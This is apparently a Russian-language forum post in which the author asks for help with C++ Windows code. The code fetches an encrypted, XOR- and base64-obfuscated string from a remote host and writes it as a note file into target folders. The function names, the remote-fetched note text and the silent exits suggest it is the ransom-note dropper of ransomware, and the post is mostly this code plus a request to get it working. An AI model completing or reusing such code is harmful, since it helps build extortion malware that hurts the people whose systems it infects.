///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Это исходный код, который я корректирую -
collabedit.com/ncr3c
==============================================================
// Это изначальный код, который я корректирую...
// Все заголовки указаны - код компилится и работает без ошибок
using GetString_t = std::vector<String_t>;
using String_t = std::string;
using WString_t = std::wstring;
String_t const NOTE[] =
{
"xxxxxxxxxxxxxxxxxxxxxxxxxx",
"yyyyyyyyyyyyyyyyyyyyyyyyyy",
"zzzzzzzzzzzzzzzzzzzzzzzzzz",
};
bool DropNote(const WString_t&& drop_path)
{
if (drop_path.empty())
{
return false;
}
auto path = GetPath(std::forward<const WString_t&&>(drop_path));
if (path.empty())
{
return false;
}
path += NOTE_NAME;
if (!IsFileExist(std::forward<const WString_t&&>(path)))
{
HANDLE file = CreateFile(path.c_str(), GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (file != INVALID_HANDLE_VALUE)
{
DWORD written = 0;
for (auto note : NOTE)
{
WriteFile(file, note.c_str(), note.size(), &written, 0);
}
CloseHandle(file);
return true;
}
}
return false;
}
===================================================================================================
А тут получаю строку с хоста и пытаюсь получить (разбить по разделителям) ее массив -
collabedit.com/2jpv5
===================================================================================================
// Все заголовки указаны - код компилится без ошибок
// Нужен этот вариант с получением строки с хоста - не работает (не пишет полученные строки в файл)
using GetString_t = std::vector<String_t>;
using String_t = std::string;
using WString_t = std::wstring;
//////////// Получаем строку с хоста ///////////
String_t GetStroke()
{
WSADATA wd = { 0 };
if (WSAStartup(MAKEWORD(2, 2), &wd) != 0)
exit(0);
String_t buf;
String_t info_page = HostUrl + "/" + API + "?ext=1"; // запрос на ресурс для получения зашифрованной строки
int err = ::ReadUrl(info_page.c_str(), buf, 12000);
if (err != ERROR_SUCCESS)
exit(0);
WSACleanup();
//////// Расшифровка строки ///////////
String_t desplit1 = split(std::move(buf), std::move(info_rsalt))[0];
String_t desplit2 = split(std::move(desplit1), std::move(info_lsalt))[1];
String_t decoded = base64_decode(desplit2);
String_t getstroke = XoR(decoded, keyx);
return getstroke; // что строка получена, я уверен :: строка вида "xxxxxxx|yyyyyyyy|zzzzzzz"
}
///////// Получаем массив строк и пишем их в файл в файл ///////////
bool DropNote(const WString_t&& drop_path)
{
////////// получаем и сплитим строку ////////////
GetString_t NOTE;
String_t const s = GetStroke();
size_t b = 0; // Очередная подстрока
for (size_t e = s.find('|', b); e != s.npos; e = s.find('|', ++b))
{
NOTE.push_back(s.substr(b, e - b));
b = e;
}
NOTE.push_back(s.substr(b));
/////////////////////////////////////////////////
if (drop_path.empty())
{
return false;
}
auto path = GetPath(std::forward<const WString_t&&>(drop_path));
if (path.empty())
{
return false;
}
path += NOTE_NAME;
if (!IsFileExist(std::forward<const WString_t&&>(path)))
{
HANDLE file = CreateFile(path.c_str(), GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (file != INVALID_HANDLE_VALUE)
{
DWORD written = 0;
for (auto note : NOTE)
{
WriteFile(file, note.c_str(), note.size(), &written, 0);
}
CloseHandle(file);
return true;
}
}
return false;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Изначально массив строк объявлялся в исходниках:
const std::string STRING[] =
{
"xxxxxxxxxxxxxxxxxx",
"yyyyyyyyyyyyyyyyyy",
"zzzzzzzzzzzzzzzzzz",
};
.
.
.
DWORD written = 0;
for (auto note : STRING)
{
WriteFile(file, note.c_str(), note.size(), &written, 0);
}
.
.
.
Но сейчас я получаю строку с хоста такого вида:
"xxxxxxxxxxxxxxxxxx|yyyyyyyyyyyyyyyyyy|zzzzzzzzzzzzzzzzzz"
Нужен именно статический массив строк: не более 40 строк и не более 100 символов в строке (Unix или Windows).
сам затрудняюсь правильно разбить её и поместить в массив STRING[ ], подскажите пожалуйста как сделать это правильно.